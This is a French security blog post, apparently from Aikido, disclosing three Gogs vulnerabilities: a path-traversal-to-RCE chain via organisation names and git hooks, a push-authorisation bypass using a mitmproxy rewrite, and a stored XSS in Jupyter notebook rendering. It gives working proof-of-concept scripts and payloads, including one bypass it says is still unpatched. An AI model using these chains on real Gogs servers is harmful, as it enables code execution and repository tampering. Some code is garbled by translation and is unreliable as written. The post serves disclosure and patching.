Gogs est une plateforme d'hébergement Git open source, à l'instar de GitHub ou de GitLab. L'application permet aux utilisateurs de gérer leurs propres dépôts et organisations. En coulisses, elle s'appuie largement sur le git CLI.
Les vulnérabilités de type RCE (exécution de code à distance) sont un problème de longue date dans Gogs; la plupart prennent du temps à être corrigées, ce qui nécessite une divulgation publique avant même la sortie d’une version officiellement corrigée. Ce cas-ci était différent. Après quelques mois de silence, il semble que les responsables de la maintenance aient repris le travail pour sécuriser Gogs, et toutes nos vulnérabilités signalées ont été corrigées à partir de la version 0.14.3 ! Nous espérons que cette tendance se poursuivra et permettra à terme à Gogs d’atteindre un niveau de sécurité optimal. Cependant, il existe actuellement encore une faille non corrigée que nos agents de tests d’intrusion basés sur l’IA ont découverte et que nous avons signalée. Nous fournissons ci-dessous un correctif manuel pour cette faille.
Cet article portera principalement sur la vulnérabilité d'exécution de code à distance (CVE-2026-52813), car c'est celle qui présente le plus d'intérêt sur le plan technique. Mais j’expliquerai également un bug logique permettant d’écrire dans des dépôts en lecture seule (CVE-2026-52810), ainsi qu’une vulnérabilité XSS dans la bibliothèque de rendu Jupyter utilisée par Gogs (GHSA-6vxv-wg6j-5qwp).
Allons-y sans plus attendre !
Parcours du chemin dans le nom de l'organisation
Nous commencerons par expliquer comment nous avons découvert la vulnérabilité qui s’est avérée à la fois la plus grave et la plus intéressante d’un point de vue technique : CVE-2026-52813 (GHSA-c39w-43gm-34h5).
Dans le cadre de notre programme «Aikido Attack », nous menons de nombreuses opérations d’ pentest IA s sur des projets open source, dont Gogs. Voici un extrait d’un rapport que nous avons reçu de l’un de nos agents chargés des tests d’intrusion :

Il était fait mention d'un parcours de chemin dans le nom d'utilisateur de l'organisation, accessible uniquement via l'API, permettant d'écrire en dehors du répertoire prévu, sur le reste du système de fichiers.
Approfondissons un peu la cause profonde de ce qu'il a détecté afin de mieux comprendre le problème. L'élément le plus important est cette fonction dans repox.go:
func UserPath(user string) string {
return filepath.Join(conf.Repository.Root, strings.ToLower(user))
}
Il détermine l'emplacement de stockage des dépôts de chaque utilisateur au sein du système de fichiers, et se contente de concaténer leur nom d'utilisateur avec le répertoire racine des dépôts configuré. La concaténation de chemins d'accès sans validation préalable est toujours risquée, car le système d'exploitation prend en charge ../ les séquences permettant de sortir de n'importe quel répertoire, tout comme celle-ci .Join() en Go.
Heureusement pour Gogs, ces noms d'utilisateur sont assaini lors de l'inscription à l'aide de la AlphaDashDot règle n'autorisant que les lettres, les chiffres et -_. caractères. Il est donc impossible d'enregistrer un utilisateur avec ../ en leur nom :
type Register struct {
UserName string `binding:"Required;AlphaDashDot;MaxSize(35)"`
Email string `binding:"Required;Email;MaxSize(254)"`
Password string `binding:"Required;MaxSize(255)"`
Retype string
}
Mais utilisateurs ne sont pas les seules choses qui passent par là UserPath(). Organisations sont tout aussi valables, et quand on examine sa définition, on ne constate aucune telle « aseptisation » pour le Nom d'utilisateur champ :
type createOrgRequest struct {
UserName string `json:"username" binding:"Required"`
FullName string `json:"full_name"`
Description string `json:"description"`
Website string `json:"website"`
Location string `json:"location"`
}
Cela signifie que nous pouvons créer une organisation nommée ../../../../../tmp/test pour faire UserPath() pour qu'il revienne /chemin/vers/la/racine/ + ../../../../../tmp/test = /tmp/test. Tous les dépôts créés au sein de l'organisation seront alors enregistrés dans ce nouveau répertoire situé en dehors de la racine.
Essayons cela concrètement :
s = requests.Session()
# Get API token
r = s.post(f"{HOST}/api/v1/users/{USERNAME}/tokens",
auth=(USERNAME, PASSWORD),
json={"name": secrets.token_hex(12)}
)
r.raise_for_status()
sha1 = r.json().get("sha1")
s.headers.update({"Authorization": f"token {sha1}"})
# Create organization via API
org_name = "../../../../../tmp/test"
r = s.post(f"{HOST}/api/v1/user/orgs",
json={
"username": org_name,
"full_name": "path-traversal",
}
)
print(r.json()) # {'id': 4, 'username': '../../../../../tmp/test', 'full_name': 'deep', 'avatar_url': 'https://gogs.local/img/avatar_default.png', 'description': '', 'website': '', 'location': ''}
Maintenant que l'organisation est créée, on peut voir un dossier à l'intérieur /tmp intitulé test/:
$ ls -l /tmp
total 4
drwxr-xr-x 2 git git 4096 juin 8 09:32 test
Pour le remplir, nous pouvons désormais créer un nouveau référentiel au sein de l'organisation malveillante :
r = s.post(
f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos",
json={
"name": "repo1",
"description": "poc",
"private": False,
"auto_init": True,
"readme": "Default",
}
)
print(r.json()) # {'id': 1, 'owner': ..., 'name': 'repo1', 'full_name': '../../../../../tmp/test/repo1', 'description': 'poc', 'private': False, ...}
C'est réussi ! En vérifiant à nouveau le système de fichiers, on constate que le repo1.git Le dossier a été créé à l'emplacement que nous avons indiqué :
$ ls -l /tmp/test/repo1.git
total 28
-rw-r--r-- 1 git git 23 juin 8 09:41 HEAD
-rw-r--r-- 1 git git 66 juin 8 09:41 config
-rw-r--r-- 1 git git 73 juin 8 09:41 description
drwxr-xr-x 2 git git 4096 juin 8 09:41 hooks
drwxr-xr-x 2 git git 4096 juin 8 09:41 info
drwxr-xr-x 7 git git 4096 juin 8 09:41 objets
drwxr-xr-x 4 git git 4096 juin 8 09:41 réf.Cela prouve que la traversée des chemins fonctionne d'une manière ou d'une autre. Bien que nous ayons initialisé le référentiel avec un fichier README, celui-ci n'est pas visible ici dans le système de fichiers. En effet, ce qui est stocké ici, c'est un dépôt vide. Un fichier contenant uniquement les fichiers de métadonnées Git, sans « worktree ». Gogs n'a pas besoin des fichiers réels pour fonctionner normalement. Il peut récupérer toutes les données à partir du fichier compressé objets et la structure de ce dépôt vide.
La possibilité d'écrire des fichiers arbitraires à partir du contenu du dépôt Git constituerait une fonctionnalité de base très puissante. Il semblerait que nous soyons face à une faille de traversée de chemin très limitée, qui ne nous permet de créer que cette structure spécifique de métadonnées Git…
Un cas particulier est celui où Modification de fichiers dans l'interface utilisateur de GOGS. Comme cela serait compliqué à réaliser uniquement avec des opérations Git, Gogs crée temporairement un véritable arborescence de travail sur place à /data/gogs/data/tmp/local-r/ avec un identifiant incrémental (2) :
$ find / -name README.md 2>/dev/null
/data/gogs/data/tmp/local-r/2/README.md
Nous avons enfin retrouvé notre création README.md fichier ici. Malheureusement, ce chemin ne contient plus notre nom d'utilisateur ; nous ne pouvons donc pas exploiter notre vulnérabilité de traversée de chemin pour écrire des fichiers arbitraires. Nous pouvons :
- Écrire des dépôts « bare » (uniquement des métadonnées Git) n'importe où via un parcours de chemin
- Créer des arborescences de travail (avec des fichiers réels) uniquement dans un chemin d'accès sécurisé spécifique
Est-ce suffisant pour causer des dégâts dans une configuration Gogs par défaut ? Serait-il possible d'obtenir un RCE avec cette seule écriture de fichier limitée ?
RCE via git config dans des dépôts imbriqués
C'est à ce moment-là que nous avons pris manuellement le relais de l'enquête, en essayant de transformer la faille de traversée de chemin découverte par l'agent en une véritable exécution de code à distance.
Nous sommes quelque peu limités quant aux possibilités offertes par cette vulnérabilité. Nous ne pouvons pas écraser des fichiers existants à des emplacements arbitraires, car nous ne contrôlons pas les noms des fichiers dans les métadonnées Git. Nous pouvons uniquement créer un tel dépôt « bare » à un emplacement arbitraire.
Pour vous donner quelques informations de base, Git dispose de « Hooks » qui sont des scripts configurés dans le .git/hooks dossier contenant des scripts qui s'exécutent chaque fois que certaines opérations Git ont lieu. Par exemple, pré-validation est exécuté juste avant de valider une modification. Ou côté serveur mise à jour, qui s'exécute chaque fois qu'une notification est reçue d'un client.
Si un attaquant parvient à écrire dans l'un de ces chemins de hook, cela entraînera presque à coup sûr une exécution de code à distance (RCE), car la prochaine opération Git déclenchera l'exécution du script. Nous allons exploiter cette faille pour exécuter des commandes système arbitraires.
Nous savons qu'il est impossible de remplacer un .git/hooks fichier d'un autre référentiel présentant ce problème de traversée de chemin. Mais en y réfléchissant davantage, et si on faisait l'inverse ?
Nous pouvons créer un répertoire de travail standard, puis y placer notre dépôt « bare » en exploitant la vulnérabilité liée à la traversée de chemin.. Nous pouvons alors modifier le fichier hooks/mise à jour fichier issu de l'arborescence de travail du dépôt standard. Lorsque nous effectuons ensuite un « push » vers celui-ci, le hook se déclenche, et nous avons ainsi obtenu un RCE. Essayons cela concrètement.
Commencez par créer un dépôt simple qui nous servira plus tard à modifier des fichiers. Pour l'instant, cela se limitera à la création d'un répertoire sur le système de fichiers à l'emplacement /data/git/repositories/developer/editor.git (métadonnées), pas encore disponibles sur /data/gogs/data/tmp/local-r/1/ (arborescence de travail). Nous savons que pour créer cette arborescence de travail, il suffit d'ajouter n'importe quel fichier via l'interface utilisateur de Gogs.

Une fois cette opération effectuée, l'arborescence de travail est créée sous l'identifiant du référentiel (récupéré par /api/v1/repos/:propriétaire/:référentiel).
$ ls -la /data/gogs/data/tmp/local-r/1
drwxr-xr-x 7 git git 4096 juin 9 08:53 .git
-rw-r--r-- 1 git git 10 juin 9 08:53 README.md
-rw------- 1 git git 5 juin 9 08:53 fictif
L'étape suivante consiste à écrire notre parcours de chemin organisez vos fichiers dans ce dossier modifiable. Nous allons en créer un portant le nom ../../gogs/data/tmp/local-r/1 pour l'enregistrer dans le dossier. Créez ensuite un référentiel à l'intérieur de celui-ci.
org_name = "../../gogs/data/tmp/local-r/1"
r = s.post(f"{HOST}/api/v1/user/orgs", ...)
r = s.post(f"{HOST}/api/v1/org/{quote(org_name, safe='')}/repos", ...)Une fois cette opération effectuée, le fichier créé parcours Le dépôt apparaît dans l'arborescence de travail :
$ ls -la
drwxr-xr-x 7 git git 4096 juin 9 08:53 .git
-rw-r--r-- 1 git git 10 juin 9 08:53 README.md
-rw------- 1 git git 5 juin 9 08:53 dummy
drwxr-xr-x 6 git git 4096 juin 9 11:45 traversal.git
$ cat traversal.git/config
[core]
repositoryformatversion = 0
filemode = true
bare = trueSi nous rechargeons le développeur/rédacteur La page est désormais disponible sur Gogs, mais nous ne la voyons pas encore, car le système de fichiers n'est pas encore synchronisé avec l'interface utilisateur. Pour y remédier, nous allons créer un autre fichier factice. Il apparaîtra alors, et nous pourrons même explorer ses fichiers :

On dirait qu'on peut désormais simplement modifier le hooks/mise à jour fichier comme étant malveillant, mais lorsque nous essayons de le faire, Gogs affiche l'erreur suivante dans l'interface utilisateur :
Échec de la mise à jour/création du fichier « traversal.git/hooks/update » avec erreur : erreur interne du serveurDans les journaux du backend, on peut voir :
[ERREUR] [...gs/internal/route/repo/editor.go:280 editFilePost()] Échec de la mise à jour du fichier du dépôt : chemin d'arborescence incorrect « traversal.git/hooks/update »Malheureusement, un contrôle a été mis en place pour vérifier si l'un des chemins d'accès que nous modifions contient .git/, et notre traversal.git/hooks/update C'est certain.
func (r *Repository) UpdateRepoFile(doer *User, opts UpdateRepoFileOptions) error {
// 🚨 SECURITY: Prevent uploading files into the ".git" directory.
if isRepositoryGitPath(opts.NewTreeName) {
return errors.Errorf("bad tree path %q", opts.NewTreeName)
}
...
}
func isRepositoryGitPath(path string) bool {
path = strings.ToLower(path)
return strings.HasSuffix(path, ".git") ||
strings.Contains(path, ".git/") ||
strings.Contains(path, `.git\`) ||
// Windows treats ".git." the same as ".git"
strings.HasSuffix(path, ".git.") ||
strings.Contains(path, ".git./") ||
strings.Contains(path, `.git.\`)
}
L'éditeur d'interface utilisateur ne permet donc pas de modifier notre référentiel imbriqué. Mais qu'en est-il d'un « push » Git natif ?
$ git clone https://gogs.local/developer/editor.git && cd editor
$ echo 'id>/tmp/pwned' >> traversal.git/hooks/update
$ git add .
$ git commit -m "update hook"
$ git push
Nom d'utilisateur pour « https://gogs.local »: developer
Mot de passe pour « https://developer@gogs.local »:
Vers https://gogs.local/developer/editor.git
8c7f89f..fe4cc1b master -> master
Ça marche à merveille ! La vérification est plus souple dans la mesure où le nom d'un segment de chemin doit être exactement identique à .git. On a de la chance que le nom du dépôt soit simplement traversal.git et non pas .git, car la méthode Git autorise toujours ce nom.
Téléchargez à nouveau un autre fichier factice pour mettre à jour l'arborescence de travail, et vous pourrez voir le fichier mis à jour !

Il ne reste plus qu’à pousser vers le dépôt « bare ». Nous devons effectuer cette opération sur le dépôt situé sous le répertoire ../../ organisation, ce qui est un peu compliqué dans l'interface utilisateur. Mais via l'API, il suffit d'encoder le chemin d'accès en URL pour y accéder sans problème. Nous allons déclencher un autre téléchargement de fichiers afin que le système effectue en interne une validation dans un deuxième arborescence de travail, puis qu'il la transmette au dépôt nu (les deux se trouvant sur le même système de fichiers ; c'est ainsi que fonctionne Git, et c'est ainsi que Gogs gère en interne ses dépôts).
r = s.put(
f"{HOST}/api/v1/repos/{org_enc}/traversal/contents/dummy4",
json={
"message": "trigger update hook",
"content": base64.b64encode(b"dummy4").decode(),
"branch": "master",
}
)
print(r.json()) # {'commit': {'url': 'http://4.245.3.4:13000/api/v1/repos/../../gogs/data/tmp/local-r/1/traversal/contents/dummy4', ...}, ...}
Après cette validation dans le parcours repo, il est poussé vers /data/gogs/data/tmp/local-r/1/traversal.git, ce qui déclenche traversal.git/hooks/update. Nous l'avons redéfini pour qu'il exécute id > /tmp/pwned ensuite, et lorsque nous vérifions ce chemin, nous trouvons effectivement la sortie de id:
$ cat /tmp/pwned
uid=1000(git) gid=101(git) groupes=101(git)
Nous avons réussi à exécuter du code à distance sur Gogs, car le git utilisateur !
Contournement de l'autorisation « push » à l'aide d'une confusion entre les paquets de réception
Revenons à un tout autre type de vulnérabilité : CVE-2026-52810 (GHSA-wmfg-5p4h-5fw3). Loin des injections complexes, il s'agit ici d'un simple bug logique, mais difficile à détecter manuellement. Tout se passe au sein du code de bas niveau Protocole HTTP de Git, que Gogs met en œuvre pour des éléments tels que git push vers un compte de pension.
Dans les « Intelligent » Dans ce protocole, il existe deux services : git-upload-pack (demander au serveur de vous envoyer le fichier = tirer) et git-receive-pack (le serveur reçoit de nouvelles données de votre part = push).
Ces deux opérations sont associées à des autorisations différentes. Vous ne devriez pouvoir que push si vous avez Écrire autorisation, mais pour un simple tirer, Lire Cela suffit. Gogs met cela en œuvre via une sorte de middleware qui gère toute la logique HTTP de Git :
func HTTPContexter(store Store) macaron.Handler {
...
isPull := c.Query("service") == "git-upload-pack" ||
strings.HasSuffix(c.Req.URL.Path, "git-upload-pack") ||
c.Req.Method == "GET"
...
mode := database.AccessModeWrite
if isPull {
mode = database.AccessModeRead
}
La requête est traitée comme une opération de lecture (pull) si soit le service le paramètre de requête ou le chemin d'accès final est git-upload-pack.
Gogs définit ensuite des gestionnaires pour les actions spécifiques :
{lazyregexp.New(« (.*?)/git-upload-pack$ »), "POST", serviceUploadPack},
{lazyregexp.New("(.*?)/git-receive-pack$"), « POST », serviceReceivePack},
Il convient notamment de noter qu’il n’est fait aucune mention d’un service paramètre de requête ici. Après avoir validé l’autorisation à l’aide d’une simple vérification de chaîne dans le chemin d’accès, il analyse à nouveau ce dernier à l’aide des expressions régulières ci-dessus. Cela peut facilement entraîner des divergences lorsque le système d’autorisation le considère comme un Lire requête, tandis que le gestionnaire associé est un Écrire point de terminaison.
Le service Le paramètre de requête était destiné à /refs/info, mais activé globalement pour l'autorisation. Cela signifie que nous pouvons demander un chemin d'accès /git-receive-pack avec un paramètre ignoré de service=git-upload-pack. Gogs va s'embrouiller et penser que, à cause de ce paramètre, il doit s'agir d'un lire demande. Mais lorsque celle-ci parvient au gestionnaire, c'est le point de terminaison d'écriture qui est appelé !
En réalité, mettre cela en pratique semble un peu compliqué, car le protocole utilisé par Git pour envoyer des commits est très spécifique. Mais nous pouvons simplement créer un petit proxy qui réécrit /git-receive-pack à /git-receive-pack?service=git-upload-pack pour contourner la vérification :
from urllib.parse import parse_qsl, urlencode, urlsplit, urlunsplit
from mitmproxy import ctx, http
def request(flow: http.HTTPFlow) -> None:
u = urlsplit(flow.request.pretty_url)
if not u.path.endswith("/git-receive-pack"):
return
params = parse_qsl(u.query, keep_blank_values=True)
params.append(("service", "git-upload-pack"))
query = urlencode(params)
flow.request.url = urlunsplit((u.scheme, u.netloc, u.path, query, ""))
ctx.log.info(f"[poc] rewrite receive-pack -> {u.path}?{query}")
Ce script est compatible avec mitmproxy. Une fois l'opération terminée, nous pouvons définir le http_proxy et https_proxy les variables d'environnement dans un autre terminal avant d'exécuter git commandes. Git fera passer tous ses appels réseau par notre script, qui réécrit le /git-receive-pack pour ajouter le service=git-upload-pack paramètre de requête.
Essayons de créer un dépôt sur un compte, puis de le cloner et d'effectuer un push avec le proxy activé :
$ mitmdump -s mitmproxy_addon.py -p 1337
$ export http_proxy=http://127.0.0.1:1337
$ export https_proxy=http://127.0.0.1:1337
$ git clone https://gogs.local/victim/target.git && cd cible
$ echo POC > poc
$ git add .
$ git commit -m poc
$ git push
erreur : échec de la requête RPC ; HTTP 500 curl 22 L'URL demandée a renvoyé l'erreur : 500
send-pack : déconnexion inattendue lors de la la lecture d’un paquet de bande latérale
erreur fatale : la connexion distante s'est interrompue de manière inattendue
500 ? En vérifiant les journaux du backend, on constate qu'on a eu une déréférence de pointeur nil?!
[Macaron] PANIC : erreur d'exécution : adresse mémoire non valide ou déréférencement d'un pointeur nul
runtime/panic.go :336 (0x492697)
runtime/signal_unix.go :931 (0x492665)
gogs.io/gogs/internal/database/repo_editor.go :67 (0x1286642)
gogs.io/gogs/internal/route/repo/http.go :257 (0x142e5e5)
gogs.io/gogs/internal/route/repo/http.go :282 (0x142ed44)
gogs.io/gogs/internal/route/repo/http.go :425 (0x142fbae)
aucun dans Go, c'est simplement sa version de null. Si vous essayez de lire une propriété d'un objet qui est aucun, on obtient une « déréférence d'un pointeur nul ». Si l'on suit le code à internal/database/repo_editor.go:67, on constate que :
EnvAuthUserID + "=" + strconv.FormatInt(opts.AuthUser.ID, 10),
On dirait que notre AuthUser n'était pas défini. Plus haut dans la chaîne d'appel, nous sommes censés le récupérer à la fin de HTTPContexter():
func HTTPContexter(store Store) macaron.Handler {
...
c.Map(&HTTPContext{
Context: c,
OwnerName: ownerName,
OwnerSalt: owner.Salt,
RepoID: repo.ID,
RepoName: repoName,
AuthUser: authUser,
})
Mais en raison de notre dérivation, isPull est true, et c'est cette première valeur renvoyée qui est traitée en premier :
func HTTPContexter(store Store) macaron.Handler {
...
// Authentication is not required for pulling from public repositories.
if isPull && !repo.IsPrivate && !conf.Auth.RequireSigninView {
c.Map(&HTTPContext{
Context: c,
})
return
}
C'est pour cette raison que, AuthUser n'est pas défini, et lorsqu'on tente de l'utiliser via réception-colis, le programme plante. Heureusement, le code source nous propose plusieurs solutions simples pour contourner ce problème :
- Si
repo.IsPrivate, la condition est ignorée - Si
conf.Auth.RequireSigninViewsi cette option est activée, la condition est ignorée
Cet exploit ne fonctionne donc que pour les dépôts qui ne sont pas accessibles au public. Si la variable globale RequireSigninView Si cette configuration est activée, l'instance entière est vulnérable. Pour faciliter les tests, nous allons simplement créer un dépôt privé et inviter le pirate en tant que collaborateur en lecture seule :

En relançant le PoC, on constate que l'attaquant parvient désormais à écrire dans le référentiel :
$ git push
Nom d'utilisateur pour « https://gogs.local »: attaquant
Mot de passe pour « https://developer@gogs.local »:
...
Écriture d'objets : 100% (3/3), 507 octets | 507,00 KiB/s, terminé.
Total 3 (delta 1), réutilisé 0 (delta 0), réutilisé par paquet 0
Vers https ://gogs.local/victim/target.git
62ef1eb..cb13c59 master -> master
Ce changement se reflète également dans l'interface utilisateur :

Cette vulnérabilité permet à un attaquant d'écrire dans n'importe quel référentiel dont la consultation nécessite une connexion. Si le système est connecté à CICD, cela pourrait entraîner des déploiements malveillants ou, de manière plus générale, permettre de dissimuler des logiciels malveillants.
Non mis à jour
Cette vulnérabilité a été corrigée dans #8331 en déterminant quelles routes sont destinées à la réception et lesquelles à l'envoi. Cependant, cela la correction est incomplète car la vérification de /git-receive-pack ne correspond pas /git-RECEIVE-pack (en majuscules), tandis que le routeur mentionné plus loin ne fait pas la distinction entre majuscules et minuscules. Nous avons signalé cette faille au responsable de la maintenance, mais n'avons pas encore reçu de réponse à la date de publication de cet article.
Appliquez le correctif de code source suivant et recompilez Gogs pour corriger cette vulnérabilité :
--- a/internal/route/repo/http.go
+++ b/internal/route/repo/http.go
@@ -62,8 +62,10 @@ func gitHTTPActionFromPath(urlPath, subpath, owner, repo string) string {
}
func gitHTTPIsPull(c *macaron.Context, action string) bool {
+ action = strings.ToLower(action)
si action == "info/refs" {
- renvoie c.Query("service") != "git-receive-pack"
+ return !strings.EqualFold(c.Query("service"), "git-receive-pack")
}
return action != « git-receive-pack »
}
XSS stocké dans les fichiers .ipynb
Pour finir, il s'agissait d'une faille simple, mais dont la cause était intéressante : GHSA-6vxv-wg6j-5qwp (pas encore de CVE). À la simple lecture du code, on pourrait penser qu'il aurait dû être correctement validé !
La plupart des interfaces utilisateur Git proposent des modes d'affichage personnalisés pour certains types de fichiers spécifiques, notamment les notebooks Jupyter (.ipynb fichiers). Ces fichiers sont conçus pour servir de démonstrations interactives d'entrée-sortie de code Python, avec des descriptions au format Markdown intégrées.

Vous vous demandez peut-être : « Comment font-ils pour afficher ça ? »
La réponse : une version très obsolète de notebookjs (0.4.2, alors que la dernière en date est la 0.8.0).
En général, quand on parle de Markdown, on parle aussi de HTML. Le contenu HTML brut fait même partie de la spécification CommonMark, c’est pourquoi de nombreux moteurs de rendu l’implémentent sans hésitation. Le problème pour Gogs, c’est que des données non vérifiées (le contenu des fichiers de n’importe quel utilisateur) sont transmises à ce moteur de rendu.
Dans le code source, il semble qu'un processus de nettoyage soit effectué du côté de Gogs :
$.getJSON("/siteadmin/ipynb/raw/master/test.ipynb", null, function(notebook_json) {
var notebook = nb.parse(notebook_json);
var rendered = notebook.render();
$.ajax({
type: "POST",
url: '/-/api/sanitize_ipynb',
data: rendered.outerHTML,
processData: false,
contentType: false,
}).done(function(data) {
$("#ipython-notebook").append(data);
...
Le backend utilise bluemonday, une bibliothèque de nettoyage très réputée permettant de nettoyer la sortie de NotebookJS avant d'ajouter les données au DOM. Ainsi, une charge utile telle que <u>te<script>1</script>st</u> devient <u>test</u>. C'est sans danger.
On constate toutefois un problème au sein même de la bibliothèque notebookjs. Lors de la conversion du Markdown en HTML pour les cellules Markdown, celle-ci crée un élément temporaire et lui attribue .innerHTML à ce sujet :
var el = makeElement("div", ["cell", "markdown-cell"]);
el.innerHTML = nb.markdown(joinText(this.raw.source))
Même si c'est n'a pas été ajouté au DOM, le simple fait d'affecter cette valeur à une variable JavaScript temporaire suffit à déclencher des événements sur l'élément. Pour le <img> élément, par exemple, son src= est déjà chargé et peut échouer, ce qui déclenche onerror=. Tout se passe directement dans NotebookJS.
C'est pourquoi une charge utile comme celle-ci fonctionnera, quel que soit le traitement que Gogs réserve à la sortie :
{
"cells": [
{
"cell_type": "markdown",
"metadata": {},
"source": [
"<img src onerror=alert(origin)>"
]
}
],
"metadata": {},
"nbformat": 4,
"nbformat_minor": 2
}
Affichage de la .ipynb Le fichier provoque désormais une vulnérabilité XSS lors de son affichage :

L'attaquant peut disséminer ces fichiers un peu partout, par exemple dans ses propres dépôts, dans des « Pull Requests » qui s'affichent lorsqu'on clique sur « Afficher le fichier », ou simplement en envoyant à n'importe quel autre utilisateur un lien menant directement à son fichier de charge utile.
Détection
Pour vérifier si vous êtes concerné par la vulnérabilité d'exécution de code à distance (CVE-2026-52813), vérifiez si votre version de Gogs est la 0.14.2 ou une version antérieure. Aikido détecte cette version dans votre organisation et génère une alerte « critique » :

La faille de contournement de l'autorisation « push » (CVE-2026-52810) n'a pas fait l'objet d'un correctif officiel. Toutes les versions sont actuellement vulnérables. Aikido détecte les instances Gogs avec une alerte « élevée » :

Conclusion
Comme nous l'avons déjà mentionné à maintes reprises, l'intégration de Git dans une application reste souvent un défi de taille à relever en toute sécurité. Ce système comporte en effet de nombreux écueils au niveau du système de fichiers, dont les attaquants peuvent tirer parti. Pire encore, les conséquences sont souvent critiques. C'est pourquoi il est essentiel de tester de manière approfondie ces applications en effectuant des tests d'intrusion.
Si la correction des failles prend du temps après leur découverte, cela laisse une période prolongée pendant laquelle l'application est connue pour être vulnérable. À l'ère de l'IA, tout le monde détecte des failles. Les développeurs doivent déployer des correctifs plus rapidement qu'auparavant ; nous devons donc nous habituer à accélérer également cette étape grâce à des outils tels qu'Autofix d'Aikido .
Vous pouvez même valider les corrections de manière autonome grâce à pentest IA et continuer à proposer les fonctionnalités et les améliorations que les utilisateurs attendent réellement.
À l'heure actuelle, Gogs ne fait plus l'objet d'une maintenance active, ce qui laisse supposer l'existence de failles de sécurité. Nous vous recommandons d'utiliser une autre solution Git auto-hébergée pour le moment, en attendant que la situation se stabilise.

